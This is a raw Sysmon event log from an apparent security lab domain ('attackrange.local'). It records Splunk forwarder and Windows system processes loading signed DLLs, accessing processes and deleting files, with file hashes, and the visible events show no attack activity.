15:11:17.284{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000057943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.284{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000057942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:17.285{7BD73061-7595-613B-BE0B-00000000F001}3780C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 734700x800000000000000058103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.753{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000058102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.753{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000058101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.753{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000058100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.679{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A24F68F01227878D2106BD0E49539227,SHA256=6E17A7C83752AF332766E5489455466C024602B6ECE7792F33243DBC36065B33,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018645Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:18.283{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\fishbucket\splunk_private_db\snapshot.old\snap.datMD5=014DAA806DD42CB6AC777F8A48A0A338,SHA256=8A6B50DF5FAFB0F3ECAB692E27592CEE9C42E1867A4A1DB464BEE27608A6FFC9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018644Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:18.283{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\fishbucket\splunk_private_db\snapshot.old\btree_records.datMD5=EEDC9FF5E7F2D31913516146FAE86984,SHA256=C6F32341DCDE294EC4991D149566D83CE3797A32BA440A8045E1A87E17F1B7DD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018643Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:18.283{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\fishbucket\splunk_private_db\snapshot.old\btree_index.datMD5=7657411E92B17ADBBD955B4BCD36DE67,SHA256=7703B0A9147988CAC10DB625BE725FBA67D72DFB0B2FF0532C6BC0AD67F6166F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018642Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:18.283{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8D52E9CB645381FBCD35F05AC8DC9C9F,SHA256=A1CC454D356D5F92C0925F2EFC9E64EAB020D3478AE94A36C1CF756EBA6B811F,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000058099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.471{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000058098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.471{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000058097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.471{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000058096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.456{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000058095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.456{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000058094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.456{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000058093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.456{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000058092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.456{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 23542300x800000000000000058091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.456{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B9F46AAE68A20E31AC41C877D4AE53D8,SHA256=CF9850E21BAA21D646145ACC9EACE0857A8431892776C6F0600B238F7AC4F776,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000058090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.441{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000058089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.441{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000058088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.441{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000058087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.441{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000058086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.441{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000058085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.441{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000058084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.441{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000058083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.441{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000058082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.441{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.441{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000058080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.441{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000058079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.441{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000058078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.441{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000058077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.424{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000058076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.424{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000058075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.424{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000058074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.424{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000058073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.424{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000058072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.424{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000058071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.424{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000058070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.424{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000058069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.424{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000058068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:18.424{7BD73061-7596-613B-C00B-00000000F001}3864C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000058067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 